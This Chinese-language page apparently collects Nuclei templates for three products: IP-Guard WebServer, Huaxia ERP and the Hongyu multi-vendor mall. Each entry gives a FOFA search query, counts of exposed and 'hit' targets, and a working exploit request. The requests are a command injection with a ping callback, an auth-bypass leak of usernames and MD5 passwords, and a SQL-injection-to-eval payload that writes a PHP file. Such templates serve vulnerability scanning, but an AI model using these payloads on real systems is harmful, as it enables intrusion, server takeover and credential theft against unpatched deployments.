跳到主要内容

Nuclei

IP-Guard Webserver 远程命令执行​

IP-guard是由溢信科技股份有限公司开发的一款终端安全管理软件，旨在帮助企业保护终端设备安全、数据安全、管理网络使用和简化IT系统管理。IP-guard WebServer远程命令执行漏洞。攻击者可利用该漏洞执行任意命令，获取服务器控制权限。

fofa："IP-guard" && icon_hash="2030860561"

资产量：fofa11000+资产4000+ip

预估漏洞量：500目标命中77

image-20231117162902195

已验证

id: ip-guard-webserver-rce

info:
  name: IP-Guard Webserver 远程命令执行
  author: SleepingBag945
  severity: critical
  description: |
    IP-guard是由溢信科技股份有限公司开发的一款终端安全管理软件，旨在帮助企业保护终端设备安全、数据安全、管理网络使用和简化IT系统管理。
    IP-guard WebServer远程命令执行漏洞。攻击者可利用该漏洞执行任意命令，获取服务器控制权限。
    "IP-guard" && icon_hash="2030860561"
  reference:
    - MDPOCS/Ip_Guard_Webserver_View_Rce_Poc.py at 35788...
  tags: rce,ipguard

http:
  - raw:
      - |
        GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||ping%20{{interactsh-url}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"

    extractors:
      - type: kval
        kval:
          - interactsh_ip # Print remote interaction IP in output

image-20231117162838777

华夏ERP信息泄露​

fofa："jshERP-boot"

资产量：fofa国内2000+ip

预估漏洞量：500+目标命中49

泄露信息：用户名 密码(md5) 邮箱 权限等

image-20231117163014893

已验证

id: huaxiaERP-information-leakage

info:
  name: huaxiaERP-information-leakage
  author: xxxx1xxxx
  severity: medium
  description: 华夏ERP信息泄露，密码md5加密

requests:
  - method: GET
    path:
      - "{{BaseURL}}/jshERP-boot/user/getAllList;.ico"             
        
    matchers-condition: and      
    matchers:     
      - type: status
        status:
          - 200
      
      - type: word
        words:
          - "username"

image-20231117163027227

鸿宇多用户商城 user.php 远程命令执行漏洞​

鸿宇多用户商城是一款在线商城平台，鸿宇多用户商城 user.php 存在任意命令执行漏洞。

fofa-qeury: body="content=HongYuJD" && body="68ecshopcom_360buy"

资产量：fofa国内2000+（TW100+）

image-20231117163149147

已验证

id: hongyu-shangcheng-user-rce

info:
  name: hongyu-shangcheng-user-rce
  author: yy
  severity: high
  description: 鸿宇多用户商城是一款在线商城平台，鸿宇多用户商城 user.php 存在任意命令执行漏洞。
  tags: hongyu,rce
  metadata:
    fofa-qeury: body="content=HongYuJD" && body="68ecshopcom_360buy" 
    veified: true
    max-request: 2

variables:
  rand5: "{{rand_text_numeric(5)}}"

http:
  - raw:
      - |              
        POST /user.php HTTP/1.1
        Host: 
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
        Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:233:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b6576616c09286261736536345f6465636f64650928275a585a686243686959584e6c4e6a52665a47566a6232526c4b435266554539545646747961574e7258536b704f773d3d2729293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}554fcae493e564ee0dc75bdf2ebf94ca
        Upgrade-Insecure-Requests: 1
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 34

        action=login&rick=ZmlsZV9wdXRfY29udGVudHMoJzEyMzQ1Ni5waHAnLCc8P3BocCBlY2hvKG1kNSgxKSk7Pz4nKTs=
      - |              
        GET /123456.php HTTP/1.1
        Host: 
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0    
               
    matchers:     
      - type: dsl
        name: rce
        dsl:
          - "status_code_2 == 200 && contains(body,'c4ca4238a0b923820dcc509a6f75849b') && contains(header,'text/html')"
          
#上传文件：file_put_contents('123456.php','<?php echo(md5(1));?>');    => ZmlsZV9wdXRfY29udGVudHMoJzEyMzQ1Ni5waHAnLCc8P3BocCBlY2hvKG1kNSgxKSk7Pz4nKTs=    
#测试输出：echo(md5(1)); => ZWNobyhtZDUoMSkpOw==

image-20231117163135749